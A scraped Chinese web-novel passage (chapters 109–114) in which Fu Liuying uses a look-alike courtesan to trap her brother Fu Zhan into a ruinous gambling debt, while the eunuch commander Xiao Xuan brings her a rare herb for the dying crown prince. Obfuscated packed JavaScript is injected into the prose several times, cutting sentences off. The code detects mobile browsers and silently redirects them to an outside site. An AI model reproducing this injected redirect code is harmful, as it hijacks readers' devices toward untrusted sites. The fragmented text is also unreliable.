室内陷入一片沉寂，只有烛火偶尔爆开一丝细微的噼啪声。 傅流萤的脸上没有任何意外的表情，仿佛听到的不过是早已预料到的，微不足道的小事。 她甚至极轻地、极冷地笑了一声，那笑声里充满了冰冷的嘲讽和洞悉。 果然如此。 这对“兄妹”，终究是撕破了最后那层遮羞布。 私情，杀意，野心，真是……一点都不让人意外。 “知道了。”傅流萤淡淡开口，打断了夏婵的忐忑，“做得很好，下去休息吧。今日所见，烂在肚子里。” “是！奴婢明白！”夏婵如蒙大赦，连忙行礼退下。 傅流萤重新将目光投向窗外。 天色不知何时已彻底暗沉下来，浓重的墨色吞噬了最后一丝天光，只有廊下悬挂的灯笼在夜风中摇曳，投下晃动不安的光影。 山雨欲来风满楼。 傅明雪的恨，傅凛的杀心，傅湛的狗急跳墙，还有那个心思难测、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16195339|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜怒无常的东厂督主…… 这将军府，这京城，从来都不是风平浪静之地。 她缓缓踱回书案前，指尖再次抚过那些冰凉的白瓷罐。 芳华记的生意必须更快扩张，属于自己的势力必须更快培植。 萧玹的话虽冷酷，却点醒了她。 慈悲，在某些时候，确实是致命的弱点。 对付疯狗，或许……真的不该再有任何犹豫。 她拿起一支新的狼毫笔，蘸饱了墨，在铺开的宣纸上缓缓写下两个字。 笔锋锐利，力透纸背。 夜色，愈发深沉。 “春芽。”傅流萤轻声唤道。 一直守在门外的春芽立刻应声而入，“小姐，有何吩咐？” “我让你打听的事情，如何了？”傅流萤的声音平静无波，听不出任何情绪。 “回小姐，都打听清楚了。”春芽压低声音，语速清晰，“二少爷他明晚在如意阁有一个重要的应酬，宴请的是江南来的几位丝绸商。按照惯例，谈完正事，他多半会留在那里寻些乐子，或是……去赌坊玩几手。” 春芽说到后面，声音更小，带着一丝不易察觉的鄙夷。 傅湛好赌，这在傅家并非绝密，只是他向来输赢有度，且善于遮掩，傅莽又忙于军务，对此知之甚少。 傅流萤眼中闪过一丝冷芒。 好赌，这便是他最大的弱点。 人一旦沾上赌，再多的精明也会被贪婪和侥幸吞噬。 “很好。”傅流萤唇角勾起一抹冰冷的弧度，“你去安排一下，让凝香姑娘今晚务必在如意阁巧遇傅湛。” “告诉她，只需让她模仿七分那位已故苏姨娘的姿态，尤其是眼尾那颗泪痣和抚琴时的小指微翘，剩下的，自由发挥，事成之后，酬金加倍，并许她脱籍从良。” 春芽心头一凛，立刻明白了小姐的意图。 那位凝香姑娘是小姐早已物色好的人选，容貌与傅湛年少时痴恋却早夭的表妹，也就是那位苏姨娘有七八分相似。 尤其是那抹楚楚动人的风韵，更是像了十成。 第一百零九章 诱敌深入 “是，小姐，奴婢这就去办，保证万无一失！”春芽不敢怠慢，立刻退出去安排。 傅流萤重新拿起账册，目光却已不再停留在那些数字上。 她走到窗边，推开半扇窗，任由夜风吹拂着她沉静的面容。 京城夜景繁华，灯火璀璨，但这璀璨之下，不知隐藏着多少肮脏的交易和阴谋。 翌日 夜色渐浓，华灯初上。 如意阁内，丝竹管弦之声不绝于耳，觥筹交错，笑语喧哗。 傅湛今日与江南商贾的谈判颇为顺利，心情大好，多饮了几杯。 他正有些微醺，盘算着是去相好的红倌人那里歇下，还是去老地方玩两把过过瘾时，一阵清越婉转的琴声幽幽传来。 那琴声……莫名熟悉，带着一丝说不清道不明的哀怨，瞬间锁住了他的心神。 他下意识地循声望去，只见不远处的水榭中，一名身着素白衣裙的女子正低头抚琴。 侧影窈窕，青丝如瀑，灯影朦胧勾勒出她优美的颈部线条。 更让他心头巨震的是，她微微抬眼时，眼尾那颗小小的惹人怜爱的泪痣，以及抚琴时那下意识微翘的小指…… 像！ 太像了！ 像极了那个他藏在心底多年，求而不得、最终香消玉殒的影子！ 傅湛的脚步不由自主地挪了过去，酒意似乎都醒了大半。 他怔怔地站在水榭外，看着那女子一曲终了，缓缓抬起头。 四目相对。 女子眼中掠过一丝恰到好处的惊慌与羞涩，慌忙起身行礼，“不知公子在此，惊扰了公子，还请恕罪。” 声音柔婉，带着江南水乡特有的软糯。 “无、无妨。”傅湛的声音有些干涩，“姑娘的琴音……甚美。”他的目光几乎无法从她脸上移开，尤其是那颗泪痣。 “公子过奖了。”女子微微垂首，露出一段雪白的脖颈，姿态像极了记忆中那人害羞时的模样。 接下来的事情，似乎顺理成章。 傅湛早已将红倌人和赌局抛诸脑后，他邀请凝香一同饮酒，谈论音律。 凝香不仅容貌酷似，言谈举止间流露出的才情与温婉，更是让傅湛深陷其中，仿佛回到了年少时那段求而不得的痴恋时光。 他觉得自己今晚运气实在太好，竟能遇到如此知己。 酒过三巡，傅湛已彻底放下戒备，眼中只剩下眼前这位解语花。 凝香见他已完全被迷住，眼波流转，柔声道“傅公子谈吐不凡，气运想必也是极佳的，听闻京中‘千金坊’今夜甚是热闹，有许多稀罕玩法，可惜奴家身份低微，无缘得见……” 她语气中带着恰到好处的向往和遗憾。 美人在侧，软语温言，又是夸赞，傅湛此刻只觉得豪情万丈，哪里经得起这般撩拨？ 他大手一挥，“这有何难？凝香姑娘若想去见识一番，本公子带你去便是！有本公子在，无人敢看低你分毫！” “真的吗？多谢公子！”凝香惊喜地抬眼，眸中崇拜的光芒让傅湛的虚荣心得到了极大的满足。 傅湛兴致勃勃地带着凝香转向了千金坊的方向。 而此时此刻，在不远处一辆看似普通的青布马车里，一双清冷沉静的眼睛，将这一切尽收眼底。 傅流萤轻轻放下车帘，隔绝了外界的喧嚣。 车厢内光线昏暗，映照着她毫无表情的侧脸。 “走吧，去千金坊。”她对车夫吩咐道，声音淡漠，“从侧门进。” 千金坊，京城最大的销金窟之一。 也是唯一一家，能够摆在明面上的赌场。 今夜，千金坊人声鼎沸。 空气中弥漫着烟草，酒气和一种亢奋的贪婪味道。 骰子撞击骰盅的清脆声响，牌九摔在桌上的闷响，赌客们或狂喜或绝望的嚎叫交织在一起，喧嚣又很混乱。 傅湛显然是这里的常客，一进门便有管事殷勤地迎上来，“傅公子，您可有日子没来了！哟，这位姑娘是……” 管事的目光在凝香身上打了个转，带着谄媚的笑。 “少废话，给本公子安排个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16201876|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雅静点的位置。”傅湛搂着凝香的纤腰，志得意满，随手抛出一锭银子。 “好嘞！您这边请！”管事接过银子，笑得见牙不见眼，连忙将他们引向二楼一处视野颇佳的雅座。 这里既能看清楼下大厅的喧闹，又相对独立，符合傅湛既要面子又要玩乐的做派。 傅流萤的马车早已从侧门悄无声息地驶入千金坊后院。 她在一个隐秘的，能俯瞰整个二楼赌厅的包厢里坐下，面前摆着一壶清茶，目光冷淡地投向楼下傅湛所在的方向。 起初，傅湛的运气好得惊人。 或许是美人在侧心情愉悦，或许是真的时来运转，他押大小，骰子便如他所愿。 他推牌九，总能拿到绝佳的好牌。 面前的银票和筹码迅速堆叠起来，金光闪闪，几乎晃花人眼。 凝香在一旁恰到好处地发出惊叹，柔荑轻拍，眼中满是崇拜，“公子真厉害！简直是赌神再世呢！奴家从未见过运气像公子这般好的人！” 傅湛哈哈大笑，意气风发，多日来因傅流萤和府中琐事积压的郁气似乎都在这赢钱的快感中消散殆尽。 他抓起一把筹码，塞到凝香手里，“拿去玩！喜欢什么就押什么！今晚本公子带你大杀四方！” “多谢公子！”凝香惊喜地接过，依言下了几注小注，竟也赢了不少，更是将傅湛捧得飘飘然。 就在傅湛赢红了眼，筹码堆成小山，打算见好就收时，凝香笑了笑，“傅公子，这才玩了几把就要走了嘛，奴家还没有玩够呢，今日傅公子的运气这么好，何不留下来，也让奴家见识一下傅公子的本事。” 傅湛看着怀里的凝香，软香在怀，把他夸的飘飘然，他大手一挥，“行，就听凝香姑娘的。” 原本的庄家下台，换了一个新人。 新上的庄家是个面色阴沉的中年人，手法似乎更加刁钻老练。 傅湛又押了一把大的，这次，骰盅揭开，点数却与他押的截然相反！ “啧，可惜了。”庄家面无表情地将一大片筹码揽走。 第一百一十章 太子殿下病情恶化 傅湛脸上的笑容僵了一下，但很快又恢复，“不过是运气差了一把，无妨！” 他自觉手气正旺，并未在意。 凝香轻轻扯了扯他的衣袖，笑了笑，声音娇柔带着安抚，“公子，方才定是意外。您手气这么好，下一把肯定能连本带利赢回来！奴家还想看您方才那般大杀四方的英勇场面呢！” 美人的软语崇拜，比最烈的酒更能催发男人的豪赌之心。 傅湛被这么一激，心中更是有豪情万丈一般，“说得对！看本公子这把赢回来！” 他加大了赌注。 然而，接下来的局面对傅湛而言，急转直下。 他押大开小，押小开大。 牌九上手尽是憋十、杂牌。 就连最简单的猜单双，也仿佛总是与他作对。 面前的筹码以肉眼可见的速度迅速减少，刚才赢来的，连同他本来的本金，正飞速流入庄家和其他赌客手中。 傅湛的额头开始冒汗，眼神变得焦躁而疯狂。 他不信邪，只觉得是暂时的手风不顺，下一把一定能翻盘！ 他不断地加大注码，试图一把捞回损失，却如同陷入流沙，越挣扎，陷得越深。 “公子……要不，今日就算了吧？”凝香适时地露出担忧害怕的神色，声音微颤，“输了不少了……” 她越是劝，傅湛越是觉得不能在她面前丢了面子，更不能承认自己输了！ 他一把推开凝香的手，眼睛赤红，“闭嘴！本公子心里有数！一定是这桌风水不好！换桌！” 他换了一张又一张赌桌，玩法从骰子到牌九再到叶子戏，结果却惊人的一致。 输！输！输！ 庄家那张面无表情的脸，在其他赌客或同情或幸灾乐祸的目光中，在他眼里渐渐变得狰狞可怖。 楼上雅间，傅流萤凭栏而立，清冷的目光穿透喧嚣，精准地落在楼下已然输红了眼的傅湛身上。 看着他状若疯魔，将大把大把的银票筹码推上赌桌，又眼睁睁看着它们被庄家无情敛去，傅流萤眼底没有丝毫波澜，只有一层愈发深重的寒意。 “还以为有多大能耐，不过如此。”她低声自语，声音轻得只有自己能听见。在美色奉承和贪婪赌性面前，傅湛那点所谓的精明和手段，脆弱得不堪一击，轻易就踏入了她精心布置的陷阱。 就在她冷眼旁观之际，身后传来极轻微的脚步声，一股若有似无的冷冽沉香气息悄然弥漫开来。 傅流萤并未回头，身体却几不可察地微微绷紧了一瞬。 “本督还以为，大小姐多少会念及一丝兄妹情分，下手会留有余地。”低沉而略带磁性的嗓音在她身侧响起，带着一丝玩味的嘲讽，“没想到，动作倒是利落得很。” 萧玹不知何时已无声无息地站在了她身旁，同样俯瞰着楼下那场闹剧。 他今日未着官服，一身玄色暗纹锦袍，更衬得面容俊美无俦，却也愈发深不可测。 他双手负于身后，姿态闲适，仿佛只是来看一场有趣的戏。 傅流萤缓缓侧过头，对上他那双深潭般的眸子，唇角勾起一抹极淡的，毫无温度的笑意。 “当断不断，反受其乱。这不正是督主昨日才教给我的道理？流萤不过是现学现用罢了。” 萧玹闻言，低低地笑了一声，那笑声像是羽毛搔过心尖，带着一种难以言喻的魅惑和危险。 他侧身，仔细地打量着她清冷的侧颜，眼神锐利仿佛能穿透人心，“没想到傅大小姐悟性如此之高，学得……倒是挺快。” 傅流萤不想再看傅湛那副丑态，转身走向室内摆放着的紫檀木圆桌，在萧玹对面的绣墩上坐了下来。 萧玹也踱步过来，姿态优雅地执起桌上的青玉茶壶，斟了两杯清茶。 他将其中一杯推到傅流萤面前，茶汤清冽，香气袅袅。 傅流萤没有客气，纤指端起茶杯，轻轻抿了一口，目光却始终落在萧玹身上。 “督主今日大驾光临这千金坊，应该不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16201877|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是专程来看傅湛的笑话吧？说罢，这次前来，所为何事？” 萧玹指尖摩挲着温热的杯壁，闻言抬眸，眼底掠过一丝幽光，冷笑一声，“傅流萤，你现在对本督的心思，倒是揣摩得越发透彻了。” 傅流萤迎上他的目光，毫不避让，甚至刻意将声音放得轻柔婉转，一字一句，清晰无比。 “毕竟，很快就要嫁入都督府。自然要对未来的……夫君，了解得透彻一些，不是吗？” 她特意在“夫君”二字上咬了重音，那声音如同珠落玉盘，清脆却又带着一丝若有似无的撩拨，精准地落入萧玹耳中，仿佛一颗小石子投入深潭，激起一圈圈的涟漪。 萧玹执杯的手指几不可察地顿了一下。他深邃的目光锁住她，带着审视，也带着一丝难以捉摸的兴味。 包厢内的空气似乎因她这句话而陡然变得暧昧且紧绷，无声的拉扯在两人之间蔓延。 半晌，萧玹才缓缓开口，打破了这微妙的气氛，声音恢复了一贯的冷冽，“牙尖嘴利。但愿你真到了本督府上，还能有这般胆色。” 他放下茶杯，语气转沉，“太子的病，又加重了。咳中带血，昏睡的时间越来越长。宫中医正束手无策。傅大小姐，你可有良策？” 傅流萤垂眸，长睫在眼下投下一小片阴影。 原来，他是为了太子而来。 傅流萤放下茶杯，神色变得凝重，“上次我便同督主说过，太子殿下的毒存在已久，他的身体已经如同朽木中空，想要彻底根治，绝非易事，必需找到那几味传说中的药材，固本培元，逆天改命。只可惜……” 她轻轻摇头，“所需要的药材大多只存在于古籍记载中的天材地宝，可遇不可求，早已绝迹多年。想要凑齐，难如登天。” “眼下，我也只能以金针渡穴之法，辅以温和药石，勉强为他疏导，护住心脉，延缓病情恶化。但这终究是治标不治本，若找不到那几味主药，殿下他……”傅流萤没有再说下去，但意思已然明了。 第一百一十一章 欠下赌债 萧玹的眉头紧紧蹙起，包厢内的温度仿佛都随之降低了几分。 他自然知道那几种药材的稀罕程度，即便以东厂之力，搜寻至今也毫无头绪。 “金针渡穴，能撑多久？”他问，声音里带着一丝自己都未曾察觉的紧绷。 “多则半年，少则……三个月吧。”傅流萤坦言，“期间绝不能再有大的情绪波动过否则，便是大罗金仙也难以回天。” 就在这时，楼下陡然爆发出巨大的喧哗声和打砸声，瞬间打断了两人的谈话！ 只见傅湛面前的筹码已输得干干净净，他双眼赤红如血，额上青筋暴跳，猛地一把掀翻了赌桌！ “出千！你们定然是出千了！狗东西！敢坑你傅二爷！”他状若疯虎，嘶吼着扑向那面色阴沉的庄家。 千金坊豢养的打手岂是吃素的？ 立刻便有数名彪形大汉围了上来，棍棒毫不留情地朝着傅湛身上招呼过去。 “公子小心！”凝香惊呼一声，竟猛地扑上前，用自己柔弱的身躯挡在了傅湛背后。 “啪！”一记闷棍结结实实地砸在了她的后肩上。 凝香痛呼一声，脸色瞬间惨白，软软地向后倒去。 傅湛回头一看，只见美人为自己挡棍，痛苦蹙眉的模样，与他记忆中那道柔弱身影受委屈时的情态几乎重合。 他心中猛地一痛，滔天的怒火混合着浓浓的保护欲和怜惜瞬间涌上头顶。 “凝香！”他一把将踉跄欲倒的凝香紧紧搂在怀里，看着怀中人儿疼得泪光点点、楚楚可怜的模样，再看向那些凶神恶煞的打手，理智彻底被烧断，“你们敢动她！我跟你们拼了！” 但他一个生意人，虽是傅莽的儿子但却从来都没有**过武，哪里是这些专业打手的对手？ 不过三两下，就被打翻在地，拳脚如同雨点般落下。 傅流萤在楼上冷冷地看着这出闹剧，看着傅湛即便自身难保，仍下意识地将凝香护在怀里的动作，不由发出一声极轻的冷笑。 “没想到，我这二哥，竟还是个‘痴情’种子。” 萧玹不知何时也走到了窗边，负手立于她身侧。 听到她这句带着明显嘲讽的话，他转过头，目光幽深地看向她线条优美的侧脸。 “傅小姐以为，这便是痴情？”萧玹的声音听不出情绪，却带着一种冰冷的穿透力。 傅流萤微微挑眉，侧目反问，“不然呢？在督主看来，何为痴情？” 萧玹的目光从楼下那狼狈不堪的两人身上掠过，最终定格在虚无的远处，唇角勾起一抹极淡却极致冰冷的弧度，缓缓开口“所谓痴情，当是对那一人，从一而终，至死不渝。心中眼中，再容不下其他人，包括任何影子。” 他的声音低沉却很清晰，落在傅流萤的耳朵里。 “而不是像楼下这般，将一个活生生的人，当做早已逝去之人的替身。沉浸在自己编织的深情幻梦里，感动自己，实则……不过是亵渎了逝者，也轻贱了眼前人。” “这。”他收回目光，重新看向傅流萤，眼底是一片深不见底的寒渊，“充其量只能算是……自私的执念罢了。” 傅流萤闻言，骤然沉默了下来。 她转回头，重新望向楼下。 傅湛已被打得鼻青脸肿，却仍死死护着怀里的凝香，口中不住地叫骂威胁。 而凝香伏在他怀里，肩膀微微颤抖，不知是因疼痛还是哭泣。 只是在无人看见的角度，她那被傅湛紧紧搂住的臂弯遮掩下的嘴角，极快极轻微地勾了一下，转瞬即逝，快得让人以为是错觉。 傅流萤将那一闪而逝的表情捕捉眼底，心中一片冷然。 萧玹的话倒是有几分意思。 傅流萤微微侧眸，看向身旁的男人。 他依旧负手而立，侧脸轮廓在昏暗的光线下显得格外冷硬分明，周身散发着一种冰冷的气息。 他这番话，是在说傅湛，还是……在说他自己？ 他心中，是否也有一个从一而终，至死不渝的人？ 傅流萤没有问出口。 有些答案，或许不知道，反而更安全。 她只是静静地站在 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“哟，您这话可就不讲道理了。”管事冷笑，“赌桌之上，输赢各安天命。咱们千金坊打开门做生意，最重的就是信誉！您说我们出千，拿出证据来？拿不出，您今晚输的这八万两银子，外加砸坏的东西、惊扰其他客人的赔偿……咱们可得好好算算了。” “八万两？”傅湛听到这个数字，脑袋嗡的一声，差点晕过去。 他一开始是赢了不少，后来输红了眼，又借了坊里的印子钱，没想到利滚利竟然到了如此惊人的数目！ 他虽管着傅家部分产业，但八万两现银，对他而言也绝非小数目，更何况还是赌债！ 若是被父亲知道…… 傅湛瞬间冷汗涔涔，脸色比刚才挨打时还要惨白。 “我……我一时拿不出这么多……”他声音干涩。 “拿不出？”管事脸上的笑容瞬间消失，变得阴狠起来，“那就按规矩办！剁只手抵利息，或者，请傅二公子您在我们坊后的黑屋里住几天，等将军府拿钱来赎人！” 第一百一十二章 一天绳子上的蚂蚱 听到“剁手”和“黑屋”，傅湛吓得浑身一抖。 他知道千金坊背后势力复杂，真做得出来这种事。 “不！不行！”傅湛慌忙道，“容我几日！我……我回去定然筹钱！” “几日？”管事逼近一步。 “三……三日！就三日！”傅湛急忙保证。 “成！就三日！”管事拍了拍他的肿脸，力道不轻，疼得傅湛直抽气。 “看在傅将军的面子上，就给您三日时间。三日后，若见不到八万两银子，可就别怪咱们不讲情面，上门去找傅将军聊聊了！到时候，您这脸面……呵呵。” 最后那声“呵呵”，让傅湛如坠冰窟。 他被两个打手搀扶着扔出了千金坊的大门，凝香也跟着被推了出来，跌坐在他身边。 夜风一吹，傅湛打了个寒颤，身上的伤痛和心里的恐惧让他几乎站立不稳。 “公子……您没事吧？都是奴家不好……若不是奴家想去见识……” 凝香哭得梨花带雨，小心翼翼地扶住他，肩上的伤让她动作有些吃力，更显得柔弱无助。 若是平时，傅湛或许还有心思温存安慰，但此刻，巨额的债务像一座大山压在他心头，他满心烦躁恐慌，哪里还顾得上什么替身不替身。 “不关你的事！”他没好气地甩开她的手，踉跄着想自己走，却又因疼痛差点摔倒。 凝香再次上前默默搀扶住他，低眉顺眼，不再多言。 楼上包厢。 傅流萤收回目光，对楼下的结果毫不意外。八万两，足以让傅湛伤筋动骨，这把火，已经点起来了。 “戏看完了，督主若无事，流萤便先行一步了。” 她转身，对萧玹微微颔首，打算离开。 “等等。”萧玹却叫住了她。 傅流萤回头。 萧玹从怀中取出一个仅有巴掌大小的紫檀木盒，盒身光滑，看不出任何纹饰，却透着一股古朴沉敛的气息。 他随手将木盒抛给傅流萤。 傅流萤下意识接住，入手微沉，带着他指尖残留的一丝凉意。 “这是？”她有些疑惑。 “打开看看。”萧玹语气平淡。 傅流萤依言打开盒盖。只见深色的丝绒衬垫上，静静地躺着一株药材。 其形如灵芝，却通体呈现一种晶莹剔透的雪白色，仿佛冰雕玉琢而成，叶片脉络清晰可见，隐隐散发着极其微弱的寒气和一种难以形容的清香，只吸入一丝，便觉心神为之一清。 饶是傅流萤心性沉稳，此刻也不禁瞳孔微缩，脸上罕见地露出了震惊之色。 “这是……雪岭冰魄莲？”她猛地抬头看向萧玹，声音里带着难以置信的确认。 雪岭冰魄莲，可比治疗太子所需的那几味几乎绝迹的主药之一还要珍贵。 生于极寒雪岭之巅，百年难得一遇，有固魂续命，涤荡经脉的奇效。 萧玹看着她失态的模样，唇角微不可察地勾了一下，“看来傅大小姐果然认得，如此，也不枉本督费了些心思弄来此物。” “你……从哪里得来的？”傅流萤深吸一口气，努力平复内心的震动。这东西的价值，已非金银可以衡量。 “这你无需知道。”萧玹淡淡道，“你只需告诉本督，有此一物，太子的病情，能缓解几分？又能多撑多久？” 他居然愿意用如此珍贵的东西去换太子殿下的命。 虽然早就知道萧玹和太子殿下私交甚深，可这雪岭冰魄莲，可不只是能延长太子殿下的寿数。 就连萧玹的体内的阎罗王，也可用这株药材解除十之六七。 傅流萤小心翼翼地合上盒盖，将那份冰凉紧紧握在掌心，沉吟片刻，郑重道，“若以此物为主药，辅以其他珍稀辅材炼制冰魄护心丹，或可……再为太子延寿一载半载。期间若能不再出差池，殿下或能恢复些许精神，不再似如今这般时常昏沉。但根除病源，仍需其他药材。” 一年半载…… 萧玹眼底深处掠过一丝复杂的情绪，似是松了口气，又似是更为沉重，他点了点头：“足够了。炼制丹药需要多久？” “药材处理需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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傅流萤独自留在包厢内，许久，才缓缓舒出一口气，后背竟微微有些湿意。 和萧玹打交道，无异于与虎谋皮，每一步都走在悬崖边缘。 这个人，还真是喜怒无常。 她低头，轻轻摩挲着手中冰凉的木盒。 雪岭冰魄莲……他竟然真的能找到其中之一。那另外几种呢？ 是不是很快也能被他找到？看来萧玹，比她想象的还要深。 第一百一十三章 雪中送炭 这个男人，身上到底还藏着多少秘密。 而救治太子，于他而言，又究竟意味着什么？是真的忠心护主，还是……另有更深沉的图谋？ 一向冷酷杀伐决断不留情面的萧玹，居然也会如此在意兄弟情谊么？ 还真是令人不敢相信。 傅流萤收起木盒，垂下了眼眸。 无论萧玹目的为何，目前看来，保住太子的性命，确实于她有利。 傅家的烂账要清算，她的仇要报，芳华记要扩张，都需要时间。 太子活着，朝局才不会立刻大乱，她才能有更多周旋的机会。 至于萧玹……走一步看一步吧。 傅流萤整理了一下微皱的衣裙，恢复了一贯的清冷神态，也悄然离开了千金坊。 楼下的喧嚣早已散去，只有夜风卷着尘埃。 有些种子已经种下，只待时机成熟，便会破土而出，掀起更大的风浪。 夜色深沉，凉风****。 傅湛一瘸一拐地走着，身上的伤口被风一吹，更是疼得他龇牙咧嘴。他看着身旁同样狼狈，弱不禁风的凝香，烦躁地皱了皱眉。 “罢了，”他忍着痛楚，声音沙哑，“我让人送你回如意阁。” 他现在自身难保，哪里还有心思安置这个刚刚惹来一身骚的女人？ 尽管她像极了那个人，但再像，终究也只是个欢场女子。 他太清楚这些女人的本质了，无非是因利而聚，无利而散。 他有钱有势时，自然愿意捧着点这样的“解语花”，享受那点虚幻的慰藉。 可现在他身负巨债，自身难保，这女人在他眼里立刻就成了一个麻烦的累赘。 然而，他话音未落，凝香却猛地跪了下来，一把抱住了他的腿，仰起脸，泪光盈盈，在朦胧的月色下更显得楚楚可怜。 “傅公子！求求您，别送奴家回去！”她声音哽咽，充满了恐惧和哀求，“奴家……奴家今晚为了公子，得罪了千金坊的人，他们定然不会放过奴家的！若是回去，只怕……只怕明日就被妈妈打断了腿，随便卖到那见不得人的肮脏地方去！” 她哭得浑身颤抖，仿佛风雨中无助的浮萍，“方才在坊内，公子与奴家同经患难，在奴家心里，早已将公子视为……视为可以托付终身之人。奴家虽是蒲柳之姿，出身微贱，但也懂得知恩图报，从一而终！求公子垂怜，给奴家一条活路吧！” 傅湛被她这突如其来的举动弄得一愣，腿上伤口被她碰到，疼得他倒抽一口凉气。 但听她哭诉得情真意切，尤其是那句“同经患难”，“视为可托付终身之人”，竟奇妙地触动了他内心深处那点因为巨额债务而几乎被压垮的虚荣和男性尊严。 他低头看着这张与记忆中那人极为相似的脸庞，此刻写满了对他的全然依赖和信任，一种复杂的情绪涌上心头。 有烦躁，有被麻烦缠身的厌恶，但竟也有一丝奇异的被需要的满足感。 他冷笑一声，像是在说服自己，“你既知我如今身无分文，还欠了天大的赌债，自身难保，跟着我只会受尽委屈，甚至可能被牵连。你又图什么？还不快快寻你的富贵去！” 这些风月场中的女人，最是现实不过。 凝香却用力摇头，泪水滑过苍白的面颊，眼神却异常坚定，她望着傅湛，一字一句，清晰无比。 “傅公子，奴家不在意这些！奴家这些年在风尘中打滚，卖艺也攒下了一些银两。奴家知道，这些钱对公子来说不过是杯水车薪，根本无法解决公子的赌债。但是……” 她深吸一口气，仿佛下了极大的决心，“但是奴家还是想尽力帮一帮公子！无**子是富有还是贫穷，是顺境还是逆境，只要公子不嫌弃，奴家都愿意跟着公子，伺候公子！” 她这番情真意切的话，大大出乎了傅湛的意料。他狐疑地打量着凝香，试图从她脸上找出一丝虚伪的痕迹。 “你明知本公子没钱，为何还愿意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16201880|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” 凝香抬起泪眼，目光灼灼地看着他，语气带着一种近乎崇拜的真诚。 “奴家仰慕公子的才华和气度！而且，方才那般境地下，公子自身难保，却还想着要先送奴家回去，保全奴家。” “奴家便知道，公子您与那些只知贪欢享乐的纨绔子弟不同，您是一个重情重义，可以托付终身的君子！” “奴家知道这样说可能冒犯了公子，可是……在奴家的心里，早在公子听懂奴家琴音的那一刻，就已经、已经……” 她适时地低下头，露出一段雪白的脖颈，后面的话羞于启齿，却比直白的诉说更能打动人心。 傅湛果然被这番肺腑之言打动了。 他此刻正是最落魄，最恐慌、最需要认同和支撑的时候。 凝香这番深情告白，就像是一根救命稻草，瞬间抓住了他濒临崩溃的心。 他心中那点因为欠债而几乎泯灭的豪情和虚荣，又被重新点燃了起来。 他忍着疼痛，弯腰用力握住了凝香冰凉的手，动容道，“凝香！你……你既如此信我，待我！我傅湛在此立誓，若他日能渡过此难关，绝不负你！男子汉大丈夫，顶天立地，哪有动用女人银钱来填窟窿的道理！” “那些钱是你多年卖艺挣来的辛苦钱，是你的傍身之资，我绝不能收！我若收了，岂不是连畜生都不如？” 凝香却反握住他的手，泪眼婆娑，语气更加坚决，“傅公子千万不要这么说！能让奴家跟着您，已经是奴家天大的福气！能够帮到公子，哪怕是微不足道的一点，奴家心里也是欢喜的！” 说着，她竟毫不犹豫地从贴身衣物里取出一个绣着兰花的精致荷包，塞到傅湛手中，“公子，这里是我这些年所有的积蓄，虽然只有五百两，但希望能为公子暂解燃眉之急，尽一份绵薄之力！” “求公子万勿推辞，否则便是看不起奴家这片心了！” 荷包上还带着女子的体温和一丝淡淡的馨香。 第一百一十四章 带回一个狐狸精 傅湛握着那荷包，感觉那薄薄的几张银票此刻却重逾千斤。 他看着凝香那真诚无比，满是关切和决绝的眼神，最后一丝疑虑也彻底被打消了。 这个相识不过几个时辰的女子，竟能为他做到如此地步！ 他不再推辞，将荷包紧紧攥在手心，另一只手将凝香扶起，眼中闪烁着复杂的光芒，有感动，也有狠厉。 “好！凝香，你的情义，我傅湛记下了！这钱，算我借你的！日后必当百倍奉还！走，我先带你回府安置！” 凝香咬了咬唇，眼眸微微垂下，眼角挂着一滴泪。 “公子，奴家真的能跟您回去吗？”凝香的声音婉转娇弱，落在人的耳朵里很容易引起人的心疼。 傅湛现在对凝香可谓是心疼的不行。 毕竟人在他落魄的时候陪在他身边的女人可不多。 平日里他身边也不缺女人，可是那些女人都是用钱砸出来的，只有凝香不一样。 凝香在他落魄时还愿意跟着他，甚至把所有的积蓄都拿出来给他还债，这一份情谊他一定会好好珍惜。 